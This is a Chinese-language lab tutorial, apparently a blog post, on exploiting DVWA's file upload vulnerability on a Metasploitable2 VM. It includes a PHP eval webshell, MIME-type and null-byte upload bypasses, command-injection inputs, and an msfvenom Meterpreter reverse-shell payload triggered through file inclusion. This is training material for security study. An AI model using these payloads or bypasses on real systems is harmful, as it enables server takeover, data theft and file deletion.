环境:
Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10)
kail机器:192.168.11.156
一、什么是文件上传漏洞?
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回;
如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;
上传漏洞原理图:
![](https://i-blog.csdnimg.cn/blog_migrate/ffd8ea2b63e70d66990982b4cd56ba80.png)
文件上传漏洞,通常是由于对上传文件的类型、内容没进行严格的审查、过滤,使得攻击者可以通过上传木马获取服务器的webshell权限。
入侵条件:
木马上传成功
知道木马的路径
木马能够正常运行
二、演示dvwa上的文件上传漏洞
2.1、编辑一句话木马
pass.php文件添加
<?php @eval($_POST['pass']);?>
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值。
![](https://i-blog.csdnimg.cn/blog_migrate/2f7209aab8996be2953e4593c9e6b3f0.png)
2.2、低安全模式
low级别未对上传的文件进行任何验证,可以上传任意类型的文件
![](https://i-blog.csdnimg.cn/blog_migrate/f73cf59689bfffe3bf807666b710cee0.png)
尝试上传木马文件php文件,成功:
![](https://i-blog.csdnimg.cn/blog_migrate/f2017ecf86857ddb71fc6f016c827f0d.png)
直接打开木马文件http://192.168.11.157/dvwa/hackable/uploads/pass.php访问成功,但没有显示任何内容(因为是php文件)
![](https://i-blog.csdnimg.cn/blog_migrate/ffdcf9f87efcc92f7c9b9903258eef0c.png)
通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass:
![](https://i-blog.csdnimg.cn/blog_migrate/7573b850a0f432a284d57c5816ddfd1b.png)
打开文件管理,进入后台成功:
![](https://i-blog.csdnimg.cn/blog_migrate/09bf11921f2870a865ccf87b69716f94.png)
2.3、中安全模式
限制文件类型image/jpeg和大小不能超过100000B(约为97.6KB)
![](https://i-blog.csdnimg.cn/blog_migrate/5a001968abb29a88b0b77123fd93821a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b8daafe434d34019bcd178331859f9e6.png)
2.3.1、可以利用burpsuite绕过
上传木马文件pass.php,更改文件类型为image/jpeg
![](https://i-blog.csdnimg.cn/blog_migrate/2acc2240bbbbd6b4e95d808f56a500e7.png)
攻击后发现上传成功:
![](https://i-blog.csdnimg.cn/blog_migrate/180f6b59a5eb9d38eba67ac23c2ad9b9.png)
2.3.2、00截断
将木马文件pass.php改名为pass.php.jpeg,上传pass.php.jpeg,同时开启burpsuite捕获
切换到Hex进制,将pass.php.jpeg截断为pass.php:
![](https://i-blog.csdnimg.cn/blog_migrate/94eb110b8021d4c51a186ebe8ee9dbb6.png)
点击“forward”, 也可将pass.php成功上传:
![](https://i-blog.csdnimg.cn/blog_migrate/f00df701deafc3fdb2bbb328078ad8b6.png)
2.4、高安全模式
文件后缀限制与大小限制
![](https://i-blog.csdnimg.cn/blog_migrate/eba5f4f463f6d323e5f9c7a10b9dad2e.png)
下面介绍几种绕过的方法。
2.4.1、将木马隐藏在图片中绕过(High文件上传+Low命令注入)
1、将木马文件pass.php与图片文件test.jpg合并为php.jpg
windows上(关闭实时防护)使用copy命令: copy test.jpg/b+pass.php/a php.jpg
![](https://i-blog.csdnimg.cn/blog_migrate/9c4889f38e64b7fce562e45152819bb1.png)
linux上:cat pass.php >> test.jpg
可以看到,一句话木马被添加到图片的尾部(记事本查看或者cat php.jpg):
![](https://i-blog.csdnimg.cn/blog_migrate/c084e48ebac1b860b6df2cb4ec19e4f1.png)
2、将php.jpg文件上传,成功:
![](https://i-blog.csdnimg.cn/blog_migrate/3dfff1a17e07f5ee22e64d77a89a0b0a.png)
3、选择命令注入(Command Execution):
调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads
![](https://i-blog.csdnimg.cn/blog_migrate/3b7a8b937ba380a0838fc67f723bb222.png)
结果如下:
![](https://i-blog.csdnimg.cn/blog_migrate/3ea80955455d3e1f9dea2c1ea15c6b24.png)
4、然后通过命令注入方式输入以下命令来进行更改文件后缀
127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/php.php
再执行127.0.0.1|ls ../../hackable/uploads查看:
![](https://i-blog.csdnimg.cn/blog_migrate/1508eebebf5e92dc082dfef3f2ea872a.png)
5、中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):
![](https://i-blog.csdnimg.cn/blog_migrate/4deeb633a48e5a539bdbed716b7b7425.png)
2.4.2、用msfvenom生成的php代码的图片木马,图片欺诈头部绕过(High文件上传+Low文件包含)
1、首先用msfvenom生成一个PHP语言的IPG图片木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.156 lport=3333 >> /root/Desktop/any.jpg
![](https://i-blog.csdnimg.cn/blog_migrate/ffd49b6fbf33a55670677d64c733d768.png)
2、上传图片木马any.png
![](https://i-blog.csdnimg.cn/blog_migrate/48577863249bf3c07bbcabe99170d97d.png)
3、在kali终端输入msfconsole进入控制台,输入如下指令
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.11.156
set lport 3333
run
4、dvwa选择low等级,切换到文件包含File Inclusion
5、在地址栏输入以下的地址并回车
http://192.168.11.157/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/any.jpg
6、msfconsole控制台就有生成一条会话
![](https://i-blog.csdnimg.cn/blog_migrate/a907103594c1354b61e5488c5d62a610.png)
7、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件,然后测试随便删除一个文件,看看有没有权限,测试成功
![](https://i-blog.csdnimg.cn/blog_migrate/dbb5f7555bc11c89c0bd54eadf1b8cf4.png)